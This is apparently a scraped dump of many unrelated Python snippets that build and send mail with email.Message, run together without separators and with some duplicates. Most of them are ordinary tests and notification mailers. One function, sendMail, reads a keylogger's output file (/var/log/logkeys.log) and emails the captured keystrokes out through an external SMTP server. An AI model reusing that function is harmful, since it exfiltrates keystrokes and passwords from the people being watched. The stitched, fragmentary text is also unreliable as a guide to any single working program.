class TestFromMangling(unittest.TestCase): def setUp(self): self.msg = Message() self.msg['From'] = '*****@*****.**' self.msg.add_payload("""\ From the desk of A.A.A.: Blah blah blah """) def test_mangled_from(self): s = StringIO() g = Generator(s, mangle_from_=1) g(self.msg) self.assertEqual( s.getvalue(), """\ From: [email protected] >From the desk of A.A.A.: Blah blah blah """) def test_dont_mangle_from(self): s = StringIO() g = Generator(s, mangle_from_=0) g(self.msg) self.assertEqual( s.getvalue(), """\ From: [email protected] From the desk of A.A.A.: Blah blah blah """)
def _send_signup_ai_email(request, username, profile): """Send email to user who has signed up to site. """ info = {} info['system_name'] = get_setting(profile, 'system_name', 'OpenCore') info['system_email_domain'] = get_setting(profile, 'system_email_domain') info['from_name'] = '%s invitation' % info['system_name'] info['from_email'] = 'invitation@%s' % info['system_email_domain'] info['c_title'] = info['system_name'] info['c_description'] = "" info['c_href'] = request.api.app_url info['mfrom'] = '%s <%s>' % (info['from_name'], info['from_email']) info['subject'] = 'Thank you for joining the %s community' % info['system_name'] body_template = get_template('templates/email_accept_signup_invitation.pt') mailer = getUtility(IMailDelivery) msg = Message() msg['From'] = info['mfrom'] msg['To'] = profile.email msg['Subject'] = info['subject'] body = body_template( system_name=info['system_name'], system_href=info['c_href'], username=username, ) if isinstance(body, unicode): body = body.encode("UTF-8") msg.set_payload(body, "UTF-8") msg.set_type('text/html') mailer.send(info['mfrom'], [profile.email,], msg)
def sendemail(title,content): smtpserver = 'smtp.gmail.com' username = '******' password = '******' from_addr = '*****@*****.**' to_addr = '*****@*****.**' cc_addr = ''#'*****@*****.**' message = Message() message['Subject'] = title message['From'] = from_addr message['To'] = to_addr message['Cc'] = cc_addr message.set_payload(content) #邮件正文 msg = message.as_string() sm = smtplib.SMTP(smtpserver, port=587, timeout=20) sm.set_debuglevel(1) #开启debug模式 sm.ehlo() sm.starttls() #使用安全连接 sm.ehlo() sm.login(username, password) sm.sendmail(from_addr, to_addr, msg) #sleep(5) #避免邮件没有发送完成就调用了quit() sm.quit() #sendemail("ff","gfgf")
def _get_detached_message_for_person(self, sender): # Return a signed message that contains a detached signature. body = dedent("""\ This is a multi-line body. Sincerely, Your friendly tester.""") to = self.factory.getUniqueEmailAddress() msg = MIMEMultipart() msg['Message-Id'] = make_msgid('launchpad') msg['Date'] = formatdate() msg['To'] = to msg['From'] = sender.preferredemail.email msg['Subject'] = 'Sample' body_text = MIMEText(body) msg.attach(body_text) # A detached signature is calculated on the entire string content of # the body message part. key = import_secret_test_key() gpghandler = getUtility(IGPGHandler) signature = gpghandler.signContent( canonicalise_line_endings(body_text.as_string()), key.fingerprint, 'test', gpgme.SIG_MODE_DETACH) attachment = Message() attachment.set_payload(signature) attachment['Content-Type'] = 'application/pgp-signature' msg.attach(attachment) self.assertTrue(msg.is_multipart()) return signed_message_from_string(msg.as_string())
def __init__(self, code=200, body='', headers=None): """Takes an int, a string, and a dict. - code an HTTP response code, e.g., 404 - body the message body as a string - headers a dictionary of HTTP headers (or list of tuples) Body is second because one more often wants to specify a body without headers, than a header without a body. """ if not isinstance(code, int): raise TypeError("'code' must be an integer") elif not isinstance(body, basestring): raise TypeError("'body' must be a string") elif headers is not None and not isinstance(headers, (dict, list)): raise TypeError("'headers' must be a dictionary or a list of " + "2-tuples") StandardError.__init__(self) self.code = code self.body = body self.headers = Message() if headers: if isinstance(headers, dict): headers = headers.items() for k, v in headers: self.headers[k] = v
def _send_signup_email(request, invitation): site = find_site(request.context) mailer = getUtility(IMailDelivery) info = {} info['system_name'] = get_setting(site, 'system_name', 'OpenCore') info['system_email_domain'] = get_setting(site, 'system_email_domain') info['from_name'] = '%s invitation' % info['system_name'] info['from_email'] = 'invitation@%s' % info['system_email_domain'] info['c_title'] = info['system_name'] info['c_description'] = "" info['c_href'] = model_url(site, request) info['mfrom'] = '%s <%s>' % (info['from_name'], info['from_email']) info['subject'] = 'Please join the %s community' % info['system_name'] body_template = get_template('templates/email_signup.pt') msg = Message() msg['From'] = info['mfrom'] msg['To'] = invitation.email msg['Subject'] = info['subject'] body = body_template( system_name=info['system_name'], personal_message=invitation.message, invitation_url=model_url(site, request, 'signup', invitation.__name__) ) if isinstance(body, unicode): body = body.encode("UTF-8") msg.set_payload(body, "UTF-8") msg.set_type('text/html') mailer.send(info['mfrom'], [invitation.email,], msg)
def _send_aeu_emails(community, community_href, profiles, text): # To make reading the add_existing_user_view easier, move the mail # delivery part here. info = _get_common_email_info(community, community_href) subject_fmt = 'You have been added to the %s community' subject = subject_fmt % info['c_title'] body_template = get_renderer( 'templates/email_add_existing.pt').implementation() html_body = text mailer = getUtility(IMailDelivery) for profile in profiles: to_email = profile.email msg = Message() msg['From'] = info['mfrom'] msg['To'] = to_email msg['Subject'] = subject body = body_template( system_name=info['system_name'], community_href=info['c_href'], community_name=info['c_title'], community_description=info['c_description'], personal_message=html_body, ) if isinstance(body, unicode): body = body.encode("UTF-8") msg.set_payload(body, "UTF-8") msg.set_type('text/html') mailer.send([to_email,], msg)
def setUp(self): self.msg = Message() self.msg['From'] = '*****@*****.**' self.msg.add_payload("""\ From the desk of A.A.A.: Blah blah blah """)
def send_warning(val): try: sender = SENDER receiver = RECEIVER server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.login(sender, "#password") subject = "Warning" text = "Please check the room humidity and temperature!" if val == 0: subject = "Temperature risen above %d C!" % MAX_TEMP text = "Warning the temperature has increased above %d" % MAX_TEMP elif val == 1: subject = "Humdity risen above %d percent!" % MAX_HUMIDITY text = "Warning the humidity has increased above %d" % MAX_HUMIDITY from email.Message import Message m = Message() m['X-Priority'] = '2' m['Subject'] = subject m.set_payload(text) server.sendmail(sender,receiver,m.as_string()) print("Warning sent") except Exception, ex: print(ex)
def send_mail(self, to_list, sub, content): """ send email method send email to user for authenticating. Args: to_list: a str indicating the user's email address sub: a str indicating the title of this email content: a str indicating the content of this email Returns: True if send successful else False Raise: Exception unknown """ message = Message() message['Subject'] = sub message['From'] = FROM message['To'] = to_list message.set_payload(content) try: s = smtplib.SMTP(HOST, port = 587, timeout = 20) s.starttls() s.login(USER, PSWD) s.sendmail(FROM, to_list, message.as_string()) s.quit() return True except Exception, e: return False
def _send_ai_email(community, community_href, username, profile): """Send email to user who has accepted a community invitation. """ info = _get_common_email_info(community, community_href) subject_fmt = 'Thank you for joining the %s community' subject = subject_fmt % info['c_title'] body_template = get_renderer( 'templates/email_accept_invitation.pt').implementation() mailer = getUtility(IMailDelivery) msg = Message() msg['From'] = info['mfrom'] msg['To'] = profile.email msg['Subject'] = subject body = body_template( community_href=info['c_href'], community_name=info['c_title'], community_description=info['c_description'], username=username, ) if isinstance(body, unicode): body = body.encode("UTF-8") msg.set_payload(body, "UTF-8") msg.set_type('text/html') mailer.send([profile.email,], msg)
def readmail(filename): """reads a "simplified pseudo-RFC2822" file """ from email.Message import Message msg = Message() text = open(filename).read() text = text.decode("cp850") text = text.encode("iso-8859-1","replace") headersDone = False subject = None to = None body = "" for line in text.splitlines(): if headersDone: body += line + "\n" else: if len(line) == 0: headersDone = True else: (name,value) = line.split(':') msg[name] = value.strip() ## if name.lower() == 'subject': ## subject = value.strip() ## elif name.lower() == 'to': ## to = value.strip() ## else: ## raise "%s : invalid header field in line %s" % ( ## name,repr(line)) msg.set_payload(body) return msg
class TestFromMangling(unittest.TestCase): def setUp(self): self.msg = Message() self.msg['From'] = '*****@*****.**' self.msg.add_payload("""\ From the desk of A.A.A.: Blah blah blah """) def test_mangled_from(self): s = StringIO() g = Generator(s, mangle_from_=1) g(self.msg) self.assertEqual(s.getvalue(), """\ From: [email protected] >From the desk of A.A.A.: Blah blah blah """) def test_dont_mangle_from(self): s = StringIO() g = Generator(s, mangle_from_=0) g(self.msg) self.assertEqual(s.getvalue(), """\ From: [email protected] From the desk of A.A.A.: Blah blah blah """)
def _send_invitation_email(request, community, community_href, invitation): mailer = getUtility(IMailDelivery) info = _get_common_email_info(community, community_href) subject_fmt = 'Please join the %s community at %s' info['subject'] = subject_fmt % (info['c_title'], info['system_name']) body_template = get_renderer( 'templates/email_invite_new.pt').implementation() msg = Message() msg['From'] = info['mfrom'] msg['To'] = invitation.email msg['Subject'] = info['subject'] body = body_template( system_name=info['system_name'], community_href=info['c_href'], community_name=info['c_title'], community_description=info['c_description'], personal_message=invitation.message, invitation_url=resource_url(invitation.__parent__, request, invitation.__name__) ) if isinstance(body, unicode): body = body.encode("UTF-8") msg.set_payload(body, "UTF-8") msg.set_type('text/html') mailer.send([invitation.email,], msg)
def sendMail(theEmail, thePasswd): systemTime=time.strftime( '%Y-%m-%d-%T', time.localtime(time.time())) try: fileobj = open("/var/log/logkeys.log", "r") #键盘记录的输出文件 content = fileobj.read() except: #print "Cannot read file\n" exit() message = Message() message[ 'Subject' ] = 'Log keys' #邮件标题 message[ 'From' ] = "" message[ 'To' ] = theEmail message.set_payload("当前时间" +systemTime+ "\n" +content) #邮件正文 msg = message.as_string() #smtp = smtplib.SMTP_SSL("smtp.qq.com", port=465, timeout=30) smtp = smtplib.SMTP_SSL("smtp.sina.com",port=465, timeout=30) #smtp.set_debuglevel(1) #开启debug模式 #smtp.ehlo() #me add send ehlo to Gmail smtp.starttls() #使用安全连接 smtp.login(theEmail, thePasswd) smtp.sendmail( theEmail, theEmail, msg) #SMTP.sendmail(from_addr, to_addrs, msg[, mail_options, rcpt_options]) :发送邮件。这里要注意一下第三个参数,msg是字符串,表示邮件。我们知道邮件一般由标题,发信人,收件人,邮件内容,附件等构成,发送邮件的时候,要注意msg的格式。这个格式就是smtp协议中定义的格式。 time.sleep(5) #避免邮件没有发送完成就调用了 #quit() smtp.quit() #fileobj.truncate() #print "cleared file" fileobj.close()
def send_email(self, title, message): addr = ADDR fromaddr = FROMADDR toaddrs = [TOADDR_1, TOADDR_2] username = USERNAME password = PASSWORD server = smtplib.SMTP(SERVER_ADDRESS) server.starttls() server.ehlo() server.login(username,password) msg = MIMEMultipart('alternative') m = Message() m['From'] = addr m['To'] = addr m['X-Priority'] = '1' m['Subject'] = title m.set_payload(message) server.sendmail(fromaddr, toaddrs, m.as_string()) server.quit()
def postFilesGenerator(): print "Post %d files in parts" % len(messages) for name, value in messages.items(): parts, total, curfile = value print "...post file", curfile for num, subj, fname, size in parts: with open(fname) as src: lines = len(src.readlines()) with open(fname) as src: bytecount = len(src.read()) print "....%s" % subj msgid = make_msgid() msgid = re.sub(r'@.*>$', '@notexists.local>', msgid) msgid = msgid.replace('<', '<Part%dof%d.' % (num, total)) with open(fname) as src: msgdata = src.read() msg = Message() msg["From"] = fromaddr msg["Subject"] = subj msg["User-Agent"] = "postfiles.py (http://sourceforge.net/projects/nntp2nntp/)" msg["X-No-Archive"] = "yes" msg["Message-Id"] = msgid msg["Newsgroups"] = ','.join(groups) msg["Lines"] = str(lines) msg["Bytes"] = str(bytecount) msg.set_payload(msgdata) yield msg.as_string() print "...processed file", name
def test_payload_encoding(self): jhello = '\xa5\xcf\xa5\xed\xa1\xbc\xa5\xef\xa1\xbc\xa5\xeb\xa5\xc9\xa1\xaa' jcode = 'euc-jp' msg = Message() msg.set_payload(jhello, jcode) ustr = unicode(msg.get_payload(), msg.get_content_charset()) self.assertEqual(jhello, ustr.encode(jcode))
def readmail(filename): """reads a "simplified pseudo-RFC2822" file """ from email.Message import Message msg = Message() text = open(filename).read() text = text.decode("cp850") text = text.encode("iso-8859-1", "replace") headersDone = False subject = None to = None body = "" for line in text.splitlines(): if headersDone: body += line + "\n" else: if len(line) == 0: headersDone = True else: (name, value) = line.split(':') msg[name] = value.strip() ## if name.lower() == 'subject': ## subject = value.strip() ## elif name.lower() == 'to': ## to = value.strip() ## else: ## raise "%s : invalid header field in line %s" % ( ## name,repr(line)) msg.set_payload(body) return msg
def request_password_reset(user, profile, request): profile.password_reset_key = sha1( str(random.random())).hexdigest() profile.password_reset_time = datetime.datetime.now() context = find_site(profile) reset_url = model_url( context, request, "reset_confirm.html", query=dict(key=profile.password_reset_key)) # send email mail = Message() system_name = get_setting(context, 'system_name', 'OpenCore') admin_email = get_setting(context, 'admin_email') mail["From"] = "%s Administrator <%s>" % (system_name, admin_email) mail["To"] = "%s <%s>" % (profile.title, profile.email) mail["Subject"] = "%s Password Reset Request" % system_name body = render_template( "templates/email_reset_password.pt", login=user['login'], reset_url=reset_url, system_name=system_name, ) if isinstance(body, unicode): body = body.encode("UTF-8") mail.set_payload(body, "UTF-8") mail.set_type("text/html") recipients = [profile.email] mailer = getUtility(IMailDelivery) mailer.send(admin_email, recipients, mail)
def http_response(self, request, response): if request.get_method() != 'GET': return response headers = response.info() if headers.get('x-cache-md5') == None: data = Message() for k,v in headers.items(): data[k] = v payload = response.read() data['x-cache-md5'] = md5.new(payload).hexdigest() data['x-cache-code'] = str(response.code) data['x-cache-msg'] = response.msg data.set_payload(payload) url = quote(request.get_full_url(), '') path = os.path.join(self.cache, url) f = open(path, 'w') f.write(str(data)) f.close() new_response = CachedResponse(payload) new_response.url = response.url new_response.headers = response.headers new_response.code = response.code new_response.msg = response.msg return new_response return response
def sendemail(title, content): smtpserver = 'smtp.gmail.com' username = '******' password = '******' from_addr = '*****@*****.**' to_addr = '*****@*****.**' cc_addr = '' #'*****@*****.**' message = Message() message['Subject'] = title message['From'] = from_addr message['To'] = to_addr message['Cc'] = cc_addr message.set_payload(content) #邮件正文 msg = message.as_string() sm = smtplib.SMTP(smtpserver, port=587, timeout=20) sm.set_debuglevel(1) #开启debug模式 sm.ehlo() sm.starttls() #使用安全连接 sm.ehlo() sm.login(username, password) sm.sendmail(from_addr, to_addr, msg) #sleep(5) #避免邮件没有发送完成就调用了quit() sm.quit() #sendemail("ff","gfgf")
def test_encodeOptimally_with_text(self): """Mostly-ascii attachments should be encoded as quoted-printable.""" text = u'I went to the caf\u00e9 today.'.encode('utf-8') part = Message() part.set_payload(text) MailController.encodeOptimally(part) self.assertEqual(text, part.get_payload(decode=True)) self.assertEqual('quoted-printable', part['Content-Transfer-Encoding'])
def test_encodeOptimally_with_binary(self): """Significantly non-ascii attachments should be base64-encoded.""" bytes = '\x00\xff\x44\x55\xaa\x99' part = Message() part.set_payload(bytes) MailController.encodeOptimally(part) self.assertEqual(bytes, part.get_payload(decode=True)) self.assertEqual('base64', part['Content-Transfer-Encoding'])
def test_encodeOptimally_with_ascii_text(self): """Mostly-ascii attachments should be encoded as quoted-printable.""" text = 'I went to the cafe today.\n\r' part = Message() part.set_payload(text) MailController.encodeOptimally(part, exact=False) self.assertEqual(part.get_payload(), part.get_payload(decode=True)) self.assertIs(None, part['Content-Transfer-Encoding'])
def sendmessage(server, to, subj, content): msg = Message() msg['Mime-Version']='1.0' msg['From'] = smtpuser msg['To'] = to msg['Subject'] = subj msg['Date']= email.Utils.formatdate() msg.set_payload(content) server.sendmail(smtpuser,to,str(msg))
def mime_upload_data_as_file(field_name, filename, body): part = Message() part['Content-Disposition'] = 'form-data; name="%s"; filename="%s"' % ( field_name, filename) part['Content-Transfer-Encoding'] = 'binary' part['Content-Type'] = 'application/octet-stream' part['Content-Length'] = str(len(body)) part.set_payload(body) return part
def send(self): head = Header(self.SUBJECT.encode('iso-2022-jp'),charset='iso-2022-jp',header_name='Subject') msg = Message() msg['Subject']=self.SUBJECT msg['From']=self.USER_NAME msg['To']=self.to_address msg.set_payload(self.MAIL_BODY.encode('iso-2022-jp'),charset='iso-2022-jp') self.smtp.sendmail(self.USER_NAME,self.to_address,msg.as_string())
def makeArticle(sender, newsgroup, subject, body): article = Message() article["From"] = sender article["Newsgroups"] = newsgroup article["Subject"] = subject article["Message-Id"] = make_msgid() article["Date"] = formatdate() article.set_payload(body) return article.as_string(unixfrom=False)
def __init__(self, fromAddr, toAddrs, subject, body, enc='iso-8859-2'): """Zacznij od za³o¿enia, i¿ bêdzie to prosta wiadomoœæ tekstowa zgodna z RFC 2822 i bez MIME.""" self.msg = Message() self.msg.set_payload(body) self['Subject'] = subject self.setFrom(fromAddr) self.setTo(toAddrs) self.hasAttachments = False self.enc = enc
def sendmessage(self,to='',subj='',content='',attach=None): msg = Message() COMMASPACE = ', ' if not to: to=self.to to=map(self.addsuff,to) print to if not subj: subj=self.subj if not content: content=self.subj msg = MIMEMultipart() msg['From'] = self.emailfrom if self.cc: msg['CC'] = self.cc msg['To'] =COMMASPACE.join(to) msg['Subject'] = Header(subj,'utf-8') msg['Date'] = email.Utils.formatdate() # msg.set_payload(content) if not attach: msg.set_payload(content) else: msg.attach(content) msg.attach(attach) try: failed = self.server.sendmail(self.emailfrom,to,msg.as_string()) # may also raise exc except Exception ,ex: print Exception,ex return 'Error - send failed'
def test_encodeOptimally_with_7_bit_binary(self): """Mostly-ascii attachments should be encoded as quoted-printable.""" text = 'I went to the cafe today.\n\r' part = Message() part.set_payload(text) MailController.encodeOptimally(part) self.assertEqual(text, part.get_payload(decode=True)) self.assertEqual('I went to the cafe today.=0A=0D', part.get_payload()) self.assertEqual('quoted-printable', part['Content-Transfer-Encoding'])
def addFile(self, paramName, fileName, data): """attaches the contents of fileName under the http parameter name paramName. """ msg = Message() msg.set_type("application/octet-stream") msg["Content-Disposition"] = "form-data" msg.set_param("name", paramName, "Content-Disposition") msg.set_param("filename", fileName, "Content-Disposition") msg.set_payload(data) self.attach(msg)
def send_email( server, to, subj, content ): msg = Message() msg['Mime-Version']='1.0' msg['From'] = SMTP_USER msg['To'] = to msg['Subject'] = subj msg['Date'] = email.Utils.formatdate() msg.set_payload( content ) failed = server.sendmail( SMTP_USER, to, str(msg) )
def mime_form_value(name, value): """Returns a mime form value. Args: name: the name of the value value: the value """ part = Message() part['Content-Disposition'] = 'form-data; name="%s"' % name part.set_payload(value) return part
def sendMail(recipient, message, subject="Re:"): from email.Message import Message import smtplib msg = Message() msg['From'] = EMAIL msg['To'] = recipient msg['Subject'] = subject msg.set_payload(message) text = msg.as_string() server = smtplib.SMTP(SERVER_NAME) server.sendmail(EMAIL, recipient, text) server.quit()
def sendMessage(self, From, To, Subj, extrahdrs, bodytext, attaches, saveMailSeparator=(('='*80)+'PY\n')): """ format,send mail: blocks caller, thread me in a GUI bodytext is main text part, attaches is list of filenames extrahdrs is list of (name, value) tuples to be added raises uncaught exception if send fails for any reason saves sent message text in a local file if successful assumes that To, Cc, Bcc hdr values are lists of 1 or more already stripped addresses (possibly in full name+<addr> format); client must split these on delimiters, parse, or use multiline input; note that SMTP allows full name+<addr> format in recipients """ if not attaches: msg = Message( ) msg.set_payload(bodytext) else: msg = MIMEMultipart( ) self.addAttachments(msg, bodytext, attaches) recip = To.split(',') msg['From'] = From msg['To'] = To#', '.join(To) # poss many: addr list msg['Subject'] = Subj # servers reject ';' sept msg['Date'] = email.Utils.formatdate( ) # curr datetime, rfc2822 utc for name, value in extrahdrs: # Cc, Bcc, X-Mailer, etc. if value: if name.lower( ) not in ['cc', 'bcc']: msg[name] = value else: msg[name] = ', '.join(value) # add commas between recip += value # some servers reject [''] fullText = msg.as_string( ) # generate formatted msg # sendmail call raises except if all Tos failed, # or returns failed Tos dict for any that failed print>>sys.stderr,'Sending to...'+ str(recip) #print>>sys.stderr,fullText[:256] server = smtplib.SMTP(self.smtpServerName,timeout=10) #lib.SMTP(self.smtpServerName) # this may fail too #self.getPassword( ) # if srvr requires #self.authenticateServer(server) # login in subclass try: failed = server.sendmail(From, recip, fullText) # except or dict finally: server.quit( ) # iff connect OK if failed: class SomeAddrsFailed(Exception): pass raise SomeAddrsFailed('Failed addrs:%s\n' % failed) #self.saveSentMessage(fullText, saveMailSeparator) print>>sys.stderr,'Send exit'
def sendMessage(server,to,subject,content): msg=Message() msg['Mime-Version']='1.0' msg['From']=SMTP_FROM msg['To']=to msg['Subject']=subject msg['Date']=email.Utils.formatdate() msg.set_payload(content) try: failed=server.sendmail(SMTP_USER,to,str(msg)) except Exception,e: #print "send mail to %s failed" % to log.error(e)
def send_email(fromAddress, toAddress, subject, message, smtp_server=SMTP_SERVER): """Send an email if there's an error. This will be replaced by sending messages to a log later. """ msg = Message() msg.add_header("To", toAddress) msg.add_header("From", fromAddress) msg.add_header("Subject", subject) msg.set_payload(message) smtp = smtplib.SMTP(smtp_server) smtp.sendmail(fromAddress, [toAddress], msg.as_string()) smtp.quit()
def send_email(fromAddress, toAddress, subject, message): '''Send an email if there's an error. This will be replaced by sending messages to a log later. ''' msg = Message() msg.add_header('To', toAddress) msg.add_header('From', fromAddress) msg.add_header('Subject', subject) msg.set_payload(message) smtp = smtplib.SMTP('bastion') smtp.sendmail(fromAddress, [toAddress], msg.as_string()) smtp.quit()
def sendmessage(server,to,subj,content): "using server send a email" msg = Message() msg['Mime-Version']='1.0' msg['From'] = config.smtpuser msg['To'] = to msg['Subject'] = subj msg['Date'] = email.Utils.formatdate() # curr datetime, rfc2822 msg.set_payload(content) try: failed = server.sendmail(config.smtpuser,to,str(msg)) # may also raise exc except Exception ,ex: print Exception,ex print 'Error - send failed'
def test_no_split_long_header(self): msg = Message() msg['From'] = '*****@*****.**' refparts = [] msg['References'] = 'x' * 80 msg.set_payload('Test') sfp = StringIO() g = Generator(sfp) g(msg) self.assertEqual( sfp.getvalue(), """\ From: [email protected] References: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Test""")
def sendmessage(): From, To, Subj, text = inputmessage() msg = Message() msg['From'] = From msg['To'] = ';'.join(To) msg['Subject'] = Subj msg['Date'] = email.Utils.formatdate() # curr datetime, rfc2822 msg.set_payload(text) server = smtplib.SMTP(mailconfig.smtpservername) try: failed = server.sendmail(From, To, str(msg)) # may also raise exc except: print 'Error - send failed' else: if failed: print 'Failed:', failed
def __init__(self, adj=None): """Takes an Adjustments object. """ if adj is None: adj = default_adj self.adj = adj self._receiver = None self._tmp = '' self._raw = [] # initialize mutable defaults self.uri = {} self.headers = Message()
def new_message(self): """ New a email message. Returns: message - A message with email.Message """ from email.Message import Message return Message()
def test_get_message_addresses(self): msg = Message() from_, to = smtp_connection.SMTPConnection.get_message_addresses(msg) self.assertEqual('', from_) self.assertEqual([], to) msg['From'] = '"J. Random Developer" <*****@*****.**>' msg['To'] = 'John Doe <*****@*****.**>, Jane Doe <*****@*****.**>' msg['CC'] = u'Pepe P\xe9rez <*****@*****.**>' msg['Bcc'] = 'user@localhost' from_, to = smtp_connection.SMTPConnection.get_message_addresses(msg) self.assertEqual('*****@*****.**', from_) self.assertEqual( sorted([ '*****@*****.**', '*****@*****.**', '*****@*****.**', 'user@localhost' ]), sorted(to)) # now with bzrlib's EmailMessage msg = email_message.EmailMessage( '"J. Random Developer" <*****@*****.**>', [ 'John Doe <*****@*****.**>', 'Jane Doe <*****@*****.**>', u'Pepe P\xe9rez <*****@*****.**>', 'user@localhost' ], 'subject') from_, to = smtp_connection.SMTPConnection.get_message_addresses(msg) self.assertEqual('*****@*****.**', from_) self.assertEqual( sorted([ '*****@*****.**', '*****@*****.**', '*****@*****.**', 'user@localhost' ]), sorted(to))
def mime_upload_data_as_file(field_name, filename, body): """Returns a mime formatted email message. Args: field_name: the 'name' field of the Content-Disposition filename: the 'filename' field of the Content-Disposition body: the payload of the message """ part = Message() part['Content-Disposition'] = 'form-data; name="%s"; filename="%s"' % ( field_name, filename) part['Content-Transfer-Encoding'] = 'binary' part['Content-Type'] = 'application/octet-stream' part['Content-Length'] = str(len(body)) part.set_payload(body) return part
def PUT(self, REQUEST=None, RESPONSE=None): """WebDAV method to replace self with a new resource. This is also used when initialising an object just created from a NullResource. This will look up an IRawWriteFile adapter on self and write to it, line-by-line, from the request body. """ request = REQUEST is not None and REQUEST or self.REQUEST response = RESPONSE is not None and RESPONSE or request.response self.dav__init(request, response) self.dav__simpleifhandler(request, response, refresh=1) infile = request.get('BODYFILE', None) if infile is None: raise MethodNotAllowed( "Cannot complete PUT request: No BODYFILE in request") writer = IRawWriteFile(self, None) if writer is None: raise MethodNotAllowed( "Cannot complete PUT request: No IRawWriteFile adapter found") contentTypeHeader = request.get_header('content-type', None) if contentTypeHeader is not None: msg = Message() msg['Content-Type'] = contentTypeHeader mimeType = msg.get_content_type() if mimeType is not None: writer.mimeType = mimeType charset = msg.get_param('charset') if charset is not None: writer.encoding = charset try: for chunk in infile: writer.write(chunk) finally: writer.close() modified(self) return response
def send_validation_fail_email(self, name, emails, error): """Notify the user via email about the tryjob error.""" html_content = [] html_content.append('<html><body>') body = """ Your tryjob with name '%(name)s' failed the validation step. This is most likely because <br>you are running an older version of cbuildbot. Please run <br><code>repo sync chromiumos/chromite</code> and try again. If you still see<br>this message please contact [email protected].<br> """ html_content.append(body % {'name': name}) html_content.append("Extra error information:") html_content.append(error.replace('\n', '<br>\n')) html_content.append(self.email_footer) m = Message() m.set_payload('<br><br>'.join(html_content), 'utf8') m.set_type("text/html") m['Date'] = formatdate(localtime=True) m['Subject'] = 'Tryjob failed validation' m['From'] = self.from_addr m['Reply-To'] = self.reply_to result = defer.Deferred() sender_factory = SMTPSenderFactory(self.from_addr, emails, StringIO(m.as_string()), result) reactor.connectTCP(self.smtp_host, 25, sender_factory)
def createEmail(self, msgdict, builderName, projectName, results, patch=None, logs=None): text = msgdict['body'].encode(ENCODING) type = msgdict['type'] if 'subject' in msgdict: subject = msgdict['subject'].encode(ENCODING) else: subject = self.subject % { 'result': Results[results], 'projectName': projectName, 'builder': builderName, } assert type in ('plain', 'html'), "'%s' message type must be 'plain' or 'html'." % type if patch or logs: m = MIMEMultipart() m.attach(MIMEText(text, type, ENCODING)) else: m = Message() m.set_payload(text, ENCODING) m.set_type("text/%s" % type) m['Date'] = formatdate(localtime=True) m['Subject'] = subject m['From'] = self.fromaddr # m['To'] is added later if patch: a = MIMEText(patch[1].encode(ENCODING), _charset=ENCODING) a.add_header('Content-Disposition', "attachment", filename="source patch") m.attach(a) if logs: for log in logs: name = "%s.%s" % (log.getStep().getName(), log.getName()) if self._shouldAttachLog(log.getName()) or self._shouldAttachLog(name): a = MIMEText(log.getText().encode(ENCODING), _charset=ENCODING) a.add_header('Content-Disposition', "attachment", filename=name) m.attach(a) # Add any extra headers that were requested, doing WithProperties # interpolation if necessary if self.extraHeaders: for k,v in self.extraHeaders.items(): k = properties.render(k) if k in m: twlog("Warning: Got header " + k + " in self.extraHeaders " "but it already exists in the Message - " "not adding it.") continue m[k] = properties.render(v) return m
def test_no_semis_header_splitter(self): msg = Message() msg['From'] = '*****@*****.**' refparts = [] for i in range(10): refparts.append('<*****@*****.**>' % i) msg['References'] = SPACE.join(refparts) msg.set_payload('Test') sfp = StringIO() g = Generator(sfp) g(msg) self.assertEqual( sfp.getvalue(), """\ From: [email protected] References: <*****@*****.**> <*****@*****.**> <*****@*****.**> <*****@*****.**> <*****@*****.**> \t<*****@*****.**> <*****@*****.**> <*****@*****.**> <*****@*****.**> <*****@*****.**> Test""")
def test_valid_argument(self): eq = self.assertEqual subject = 'A sub-message' m = Message() m['Subject'] = subject r = MIMEMessage(m) eq(r.get_type(), 'message/rfc822') self.failUnless(r.get_payload() is m) eq(r.get_payload()['subject'], subject)
def send_an_email(self): '''function to send an email. uses self.email_subject, self.email_message and self.email_priority''' #create message object m = Message() #set priority m['X-Priority'] = str(self.email_priority) #set subject m['Subject'] = self.email_subject #set body m.set_payload(self.email_message) # server details server = smtplib.SMTP(host=host, port=port, timeout=10) server.set_debuglevel(1) # verbosity server.starttls() server.ehlo() server.login(user, pw) server.sendmail(me, you, m.as_string())
def _missing_timer_fired(self): self.missing_timer = None # notify people, but only if we're still in the config if not self.parent: return # first, see if we have a MailNotifier we can use. This gives us a # fromaddr and a relayhost. buildmaster = self.botmaster.parent status = buildmaster.getStatus() for st in buildmaster.statusTargets: if isinstance(st, MailNotifier): break else: # if not, they get a default MailNotifier, which always uses SMTP # to localhost and uses a dummy fromaddr of "buildbot". log.msg("buildslave-missing msg using default MailNotifier") st = MailNotifier("buildbot") # now construct the mail text = "The Buildbot working for '%s'\n" % status.getProjectName() text += ("has noticed that the buildslave named %s went away\n" % self.slavename) text += "\n" text += ("It last disconnected at %s (buildmaster-local time)\n" % time.ctime(time.time() - self.missing_timeout) ) # close enough text += "\n" text += "The admin on record (as reported by BUILDSLAVE:info/admin)\n" text += "was '%s'.\n" % self.slave_status.getAdmin() text += "\n" text += "Sincerely,\n" text += " The Buildbot\n" text += " %s\n" % status.getProjectURL() m = Message() m.set_payload(text) m['Date'] = formatdate(localtime=True) m['Subject'] = "Buildbot: buildslave %s was lost" % self.slavename m['From'] = st.fromaddr recipients = self.notify_on_missing m['To'] = ", ".join(recipients) d = st.sendMessage(m, recipients) # return the Deferred for testing purposes return d